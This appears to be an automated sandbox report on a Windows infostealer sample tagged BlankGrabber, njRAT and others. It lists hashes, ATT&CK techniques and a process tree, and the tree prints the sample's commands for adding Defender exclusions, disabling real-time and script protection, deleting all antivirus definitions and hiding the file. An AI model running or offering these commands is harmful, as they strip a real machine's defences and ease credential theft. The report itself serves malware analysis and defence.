00249b914eda6d7db531828c5f98ee02c0390867637564ef02eb9f0ef6f7ef51

Analysis

max time kernel
150s
max time network
125s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/09/2026, 17:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
Size 10.6MB
Sample260920-we7bgabn71
SHA256 00249b914eda6d7db531828c5f98ee02c0390867637564ef02eb9f0ef6f7ef51
MD5 bd95e64cf723a4fd9e7a9c3db390e7b3
SHA1 1146ce2833b454f98cd1f2a5cb77d136846a280f
SHA512 17a49a5b8c0ed49704ea297a44faf3af9bed9c53357caa5bac61789a785f71aaa787f69530cf7fd8580b8a438bb0ca5bb0f85e8ae85c84bae6dd26670da9fb83
SSDEEP 196608:9s67YkXp4Pn48OuHsAQVJXCcyqTHQmZhoYXpG0DgS3Aa59vonr36PT1KMt7oZdY:urkMT+nDwmZnXgPa59vUr3SQY
TLSH
T15FB63368B2D550E6F4E6113D8E83D61AF6F170216BA192DF0374526A3F3F9A4983E370
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection defense_evasion discovery execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

defense_evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
5528	MpCmdRun.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4600	powershell.exe
3640	powershell.exe
4512	powershell.exe
4224	powershell.exe
2804	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
4600	powershell.exe

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
4872	cmd.exe
4456	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
5124	rar.exe

Loads dropped DLL 19 IoCs

pid	Process
564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Discovers running processes 1 TTPs 4 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
1732	tasklist.exe
2424	tasklist.exe
2000	tasklist.exe
3872	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
6080	cmd.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000d00000001c4f9-27.dat	upx
behavioral2/memory/564-30-0x00007FFB2F770000-0x00007FFB2FE7F000-memory.dmp	upx
behavioral2/files/0x000d00000001c4e0-33.dat	upx
behavioral2/files/0x000d00000001c4f0-35.dat	upx
behavioral2/memory/564-36-0x00007FFB427A0000-0x00007FFB427C9000-memory.dmp	upx
behavioral2/files/0x000d00000001c4df-39.dat	upx
behavioral2/memory/564-42-0x00007FFB42780000-0x00007FFB4279A000-memory.dmp	upx
behavioral2/files/0x000d00000001c4e3-43.dat	upx
behavioral2/files/0x000d00000001c4eb-46.dat	upx
behavioral2/memory/564-47-0x00007FFB426D0000-0x00007FFB42750000-memory.dmp	upx
behavioral2/memory/564-45-0x00007FFB42750000-0x00007FFB4277C000-memory.dmp	upx
behavioral2/memory/564-38-0x00007FFB46B70000-0x00007FFB46B7F000-memory.dmp	upx
behavioral2/files/0x000d00000001c4e5-48.dat	upx
behavioral2/memory/564-50-0x00007FFB43E00000-0x00007FFB43E0D000-memory.dmp	upx
behavioral2/files/0x000d00000001c4ea-51.dat	upx
behavioral2/memory/564-54-0x00007FFB43910000-0x00007FFB4391F000-memory.dmp	upx
behavioral2/files/0x000d00000001c4e2-56.dat	upx
behavioral2/files/0x000d00000001c4ef-58.dat	upx
behavioral2/memory/564-59-0x00007FFB427E0000-0x00007FFB427F4000-memory.dmp	upx
behavioral2/memory/564-61-0x00007FFB2F130000-0x00007FFB2F761000-memory.dmp	upx
behavioral2/files/0x000d00000001c4e7-62.dat	upx
behavioral2/files/0x000d00000001c4e9-64.dat	upx
behavioral2/memory/564-66-0x00007FFB426B0000-0x00007FFB426CA000-memory.dmp	upx
behavioral2/memory/564-65-0x00007FFB2F770000-0x00007FFB2FE7F000-memory.dmp	upx
behavioral2/files/0x000d00000001c4f1-68.dat	upx
behavioral2/memory/564-70-0x00007FFB3BC10000-0x00007FFB3BC45000-memory.dmp	upx
behavioral2/memory/564-69-0x00007FFB427A0000-0x00007FFB427C9000-memory.dmp	upx
behavioral2/memory/564-72-0x00007FFB370B0000-0x00007FFB37203000-memory.dmp	upx
behavioral2/files/0x000d00000001c4e8-78.dat	upx
behavioral2/files/0x000d00000001c503-80.dat	upx
behavioral2/memory/564-81-0x00007FFB38DA0000-0x00007FFB38DC6000-memory.dmp	upx
behavioral2/memory/564-84-0x00007FFB347D0000-0x00007FFB3495A000-memory.dmp	upx
behavioral2/memory/564-83-0x00007FFB426D0000-0x00007FFB42750000-memory.dmp	upx
behavioral2/files/0x000d00000001c4fc-85.dat	upx
behavioral2/memory/564-87-0x00007FFB42650000-0x00007FFB4265D000-memory.dmp	upx
behavioral2/files/0x000d00000001c504-90.dat	upx
behavioral2/memory/564-92-0x00007FFB43910000-0x00007FFB4391F000-memory.dmp	upx
behavioral2/memory/564-93-0x00007FFB34610000-0x00007FFB346CE000-memory.dmp	upx
behavioral2/memory/564-110-0x00007FFB427E0000-0x00007FFB427F4000-memory.dmp	upx
behavioral2/memory/564-112-0x00007FFB2F130000-0x00007FFB2F761000-memory.dmp	upx
behavioral2/memory/564-118-0x00007FFB3BC10000-0x00007FFB3BC45000-memory.dmp	upx
behavioral2/memory/564-119-0x00007FFB2F770000-0x00007FFB2FE7F000-memory.dmp	upx
behavioral2/memory/564-136-0x00007FFB38DA0000-0x00007FFB38DC6000-memory.dmp	upx
behavioral2/memory/564-133-0x00007FFB347D0000-0x00007FFB3495A000-memory.dmp	upx
behavioral2/memory/564-135-0x00007FFB34610000-0x00007FFB346CE000-memory.dmp	upx
behavioral2/memory/564-120-0x00007FFB427A0000-0x00007FFB427C9000-memory.dmp	upx
behavioral2/memory/564-134-0x00007FFB42650000-0x00007FFB4265D000-memory.dmp	upx
behavioral2/memory/564-287-0x00007FFB3BC10000-0x00007FFB3BC45000-memory.dmp	upx
behavioral2/memory/564-285-0x00007FFB2F130000-0x00007FFB2F761000-memory.dmp	upx
behavioral2/memory/564-290-0x00007FFB347D0000-0x00007FFB3495A000-memory.dmp	upx
behavioral2/memory/564-288-0x00007FFB370B0000-0x00007FFB37203000-memory.dmp	upx
behavioral2/memory/564-276-0x00007FFB2F770000-0x00007FFB2FE7F000-memory.dmp	upx
behavioral2/memory/564-307-0x00007FFB427E0000-0x00007FFB427F4000-memory.dmp	upx
behavioral2/memory/564-304-0x00007FFB426D0000-0x00007FFB42750000-memory.dmp	upx
behavioral2/memory/564-313-0x00007FFB347D0000-0x00007FFB3495A000-memory.dmp	upx
behavioral2/memory/564-311-0x00007FFB370B0000-0x00007FFB37203000-memory.dmp	upx
behavioral2/memory/564-308-0x00007FFB2F130000-0x00007FFB2F761000-memory.dmp	upx
behavioral2/memory/564-315-0x00007FFB34610000-0x00007FFB346CE000-memory.dmp	upx
behavioral2/memory/564-314-0x00007FFB42650000-0x00007FFB4265D000-memory.dmp	upx
behavioral2/memory/564-312-0x00007FFB38DA0000-0x00007FFB38DC6000-memory.dmp	upx
behavioral2/memory/564-310-0x00007FFB3BC10000-0x00007FFB3BC45000-memory.dmp	upx
behavioral2/memory/564-309-0x00007FFB426B0000-0x00007FFB426CA000-memory.dmp	upx
behavioral2/memory/564-299-0x00007FFB2F770000-0x00007FFB2FE7F000-memory.dmp	upx
behavioral2/memory/564-306-0x00007FFB43910000-0x00007FFB4391F000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 30 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
432	cmd.exe
5468	cmd.exe
2960	cmd.exe
696	cmd.exe
5416	cmd.exe
620	cmd.exe
3708	cmd.exe
6096	cmd.exe
3368	cmd.exe
3644	cmd.exe
4224	cmd.exe
1268	cmd.exe
2804	cmd.exe
5148	cmd.exe
4208	cmd.exe
5828	cmd.exe
1504	cmd.exe
4816	cmd.exe
3512	cmd.exe
5376	cmd.exe
4376	cmd.exe
2168	cmd.exe
2044	cmd.exe
2724	cmd.exe
5096	cmd.exe
1600	cmd.exe
3548	cmd.exe
5488	cmd.exe
1244	cmd.exe
2508	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3512	cmd.exe
5868	PING.EXE

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
3548	cmd.exe
5356	netsh.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2600	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2764	systeminfo.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5868	PING.EXE

Suspicious behavior: EnumeratesProcesses 47 IoCs

pid	Process
4224	powershell.exe
4224	powershell.exe
4600	powershell.exe
4600	powershell.exe
4600	powershell.exe
4224	powershell.exe
2804	powershell.exe
2804	powershell.exe
2804	powershell.exe
3984	WMIC.exe
3984	WMIC.exe
3984	WMIC.exe
3984	WMIC.exe
4456	powershell.exe
4456	powershell.exe
4456	powershell.exe
4100	powershell.exe
4100	powershell.exe
4100	powershell.exe
3640	powershell.exe
3640	powershell.exe
3640	powershell.exe
2572	powershell.exe
2572	powershell.exe
2572	powershell.exe
6140	WMIC.exe
6140	WMIC.exe
6140	WMIC.exe
6140	WMIC.exe
3976	WMIC.exe
3976	WMIC.exe
3976	WMIC.exe
3976	WMIC.exe
1584	WMIC.exe
1584	WMIC.exe
1584	WMIC.exe
1584	WMIC.exe
4512	powershell.exe
4512	powershell.exe
4512	powershell.exe
2600	WMIC.exe
2600	WMIC.exe
2600	WMIC.exe
2600	WMIC.exe
3460	powershell.exe
3460	powershell.exe
3460	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4224	powershell.exe
Token: SeDebugPrivilege	4600	powershell.exe
Token: SeDebugPrivilege	2804	powershell.exe
Token: SeIncreaseQuotaPrivilege	4224	powershell.exe
Token: SeSecurityPrivilege	4224	powershell.exe
Token: SeTakeOwnershipPrivilege	4224	powershell.exe
Token: SeLoadDriverPrivilege	4224	powershell.exe
Token: SeSystemProfilePrivilege	4224	powershell.exe
Token: SeSystemtimePrivilege	4224	powershell.exe
Token: SeProfSingleProcessPrivilege	4224	powershell.exe
Token: SeIncBasePriorityPrivilege	4224	powershell.exe
Token: SeCreatePagefilePrivilege	4224	powershell.exe
Token: SeBackupPrivilege	4224	powershell.exe
Token: SeRestorePrivilege	4224	powershell.exe
Token: SeShutdownPrivilege	4224	powershell.exe
Token: SeDebugPrivilege	4224	powershell.exe
Token: SeSystemEnvironmentPrivilege	4224	powershell.exe
Token: SeRemoteShutdownPrivilege	4224	powershell.exe
Token: SeUndockPrivilege	4224	powershell.exe
Token: SeManageVolumePrivilege	4224	powershell.exe
Token: 33	4224	powershell.exe
Token: 34	4224	powershell.exe
Token: 35	4224	powershell.exe
Token: 36	4224	powershell.exe
Token: SeIncreaseQuotaPrivilege	4600	powershell.exe
Token: SeSecurityPrivilege	4600	powershell.exe
Token: SeTakeOwnershipPrivilege	4600	powershell.exe
Token: SeLoadDriverPrivilege	4600	powershell.exe
Token: SeSystemProfilePrivilege	4600	powershell.exe
Token: SeSystemtimePrivilege	4600	powershell.exe
Token: SeProfSingleProcessPrivilege	4600	powershell.exe
Token: SeIncBasePriorityPrivilege	4600	powershell.exe
Token: SeCreatePagefilePrivilege	4600	powershell.exe
Token: SeBackupPrivilege	4600	powershell.exe
Token: SeRestorePrivilege	4600	powershell.exe
Token: SeShutdownPrivilege	4600	powershell.exe
Token: SeDebugPrivilege	4600	powershell.exe
Token: SeSystemEnvironmentPrivilege	4600	powershell.exe
Token: SeRemoteShutdownPrivilege	4600	powershell.exe
Token: SeUndockPrivilege	4600	powershell.exe
Token: SeManageVolumePrivilege	4600	powershell.exe
Token: 33	4600	powershell.exe
Token: 34	4600	powershell.exe
Token: 35	4600	powershell.exe
Token: 36	4600	powershell.exe
Token: SeIncreaseQuotaPrivilege	2804	powershell.exe
Token: SeSecurityPrivilege	2804	powershell.exe
Token: SeTakeOwnershipPrivilege	2804	powershell.exe
Token: SeLoadDriverPrivilege	2804	powershell.exe
Token: SeSystemProfilePrivilege	2804	powershell.exe
Token: SeSystemtimePrivilege	2804	powershell.exe
Token: SeProfSingleProcessPrivilege	2804	powershell.exe
Token: SeIncBasePriorityPrivilege	2804	powershell.exe
Token: SeCreatePagefilePrivilege	2804	powershell.exe
Token: SeBackupPrivilege	2804	powershell.exe
Token: SeRestorePrivilege	2804	powershell.exe
Token: SeShutdownPrivilege	2804	powershell.exe
Token: SeDebugPrivilege	2804	powershell.exe
Token: SeSystemEnvironmentPrivilege	2804	powershell.exe
Token: SeRemoteShutdownPrivilege	2804	powershell.exe
Token: SeUndockPrivilege	2804	powershell.exe
Token: SeManageVolumePrivilege	2804	powershell.exe
Token: 33	2804	powershell.exe
Token: 34	2804	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4576 wrote to memory of 564	4576	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	89
PID 564 wrote to memory of 696	564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	91
PID 564 wrote to memory of 6096	564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	92
PID 564 wrote to memory of 6080	564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	93
PID 564 wrote to memory of 2044	564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	97
PID 6080 wrote to memory of 3348	6080	cmd.exe	99
PID 696 wrote to memory of 4224	696	cmd.exe	100
PID 6096 wrote to memory of 4600	6096	cmd.exe	101
PID 2044 wrote to memory of 2804	2044	cmd.exe	102
PID 6096 wrote to memory of 5528	6096	cmd.exe	104
PID 564 wrote to memory of 2724	564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	105
PID 564 wrote to memory of 5148	564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	106
PID 564 wrote to memory of 3644	564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	109
PID 564 wrote to memory of 4872	564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	110
PID 5148 wrote to memory of 1732	5148	cmd.exe	112
PID 564 wrote to memory of 5416	564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	114
PID 564 wrote to memory of 3368	564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	115
PID 564 wrote to memory of 3548	564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	117
PID 564 wrote to memory of 4208	564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	119
PID 564 wrote to memory of 5488	564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	120
PID 564 wrote to memory of 5304	564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	124
PID 2724 wrote to memory of 2424	2724	cmd.exe	126
PID 4872 wrote to memory of 4456	4872	cmd.exe	127
PID 3644 wrote to memory of 3984	3644	cmd.exe	128
PID 4208 wrote to memory of 2764	4208	cmd.exe	129
PID 5304 wrote to memory of 4100	5304	cmd.exe	130
PID 3548 wrote to memory of 5356	3548	cmd.exe	131
PID 5416 wrote to memory of 2000	5416	cmd.exe	132
PID 5488 wrote to memory of 2572	5488	cmd.exe	170
PID 3368 wrote to memory of 4924	3368	cmd.exe	134
PID 564 wrote to memory of 5376	564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	135
PID 564 wrote to memory of 5096	564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	137
PID 5376 wrote to memory of 4888	5376	cmd.exe	139
PID 4100 wrote to memory of 1240	4100	powershell.exe	140
PID 5096 wrote to memory of 1316	5096	cmd.exe	141
PID 1240 wrote to memory of 4476	1240	csc.exe	142
PID 564 wrote to memory of 4224	564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	143
PID 564 wrote to memory of 4376	564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	144
PID 4376 wrote to memory of 4700	4376	cmd.exe	147
PID 4224 wrote to memory of 4172	4224	cmd.exe	148
PID 564 wrote to memory of 5828	564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	149
PID 564 wrote to memory of 2804	564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	151
PID 5828 wrote to memory of 3872	5828	cmd.exe	153
PID 2804 wrote to memory of 6108	2804	cmd.exe	154
PID 564 wrote to memory of 2168	564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	155
PID 2168 wrote to memory of 4596	2168	cmd.exe	157
PID 564 wrote to memory of 620	564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	158
PID 620 wrote to memory of 4384	620	cmd.exe	160
PID 564 wrote to memory of 1504	564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	162
PID 1504 wrote to memory of 3640	1504	cmd.exe	164
PID 564 wrote to memory of 1244	564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	165
PID 1244 wrote to memory of 1848	1244	cmd.exe	167
PID 564 wrote to memory of 4816	564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	168
PID 4816 wrote to memory of 2572	4816	cmd.exe	170
PID 564 wrote to memory of 2508	564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	171
PID 2508 wrote to memory of 5124	2508	cmd.exe	173
PID 564 wrote to memory of 3708	564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	174
PID 3708 wrote to memory of 6140	3708	cmd.exe	176
PID 564 wrote to memory of 432	564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	177
PID 432 wrote to memory of 3976	432	cmd.exe	179
PID 564 wrote to memory of 1600	564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	180
PID 1600 wrote to memory of 1584	1600	cmd.exe	182
PID 564 wrote to memory of 5468	564	2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	183
PID 5468 wrote to memory of 4512	5468	cmd.exe	185

Views/modifies file attributes 1 TTPs 3 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3348	attrib.exe
1316	attrib.exe
4700	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4576
- C:\Users\Admin\AppData\Local\Temp\2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"
  2⤵
  - Drops file in Drivers directory
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:564
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:696
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:6096
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4600
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:5528
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:6080
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Local\Temp\2026-09-20_bd95e64cf723a4fd9e7a9c3db390e7b3_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"
      4⤵
      Views/modifies file attributes
      PID:3348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‍ .scr'"
    3⤵
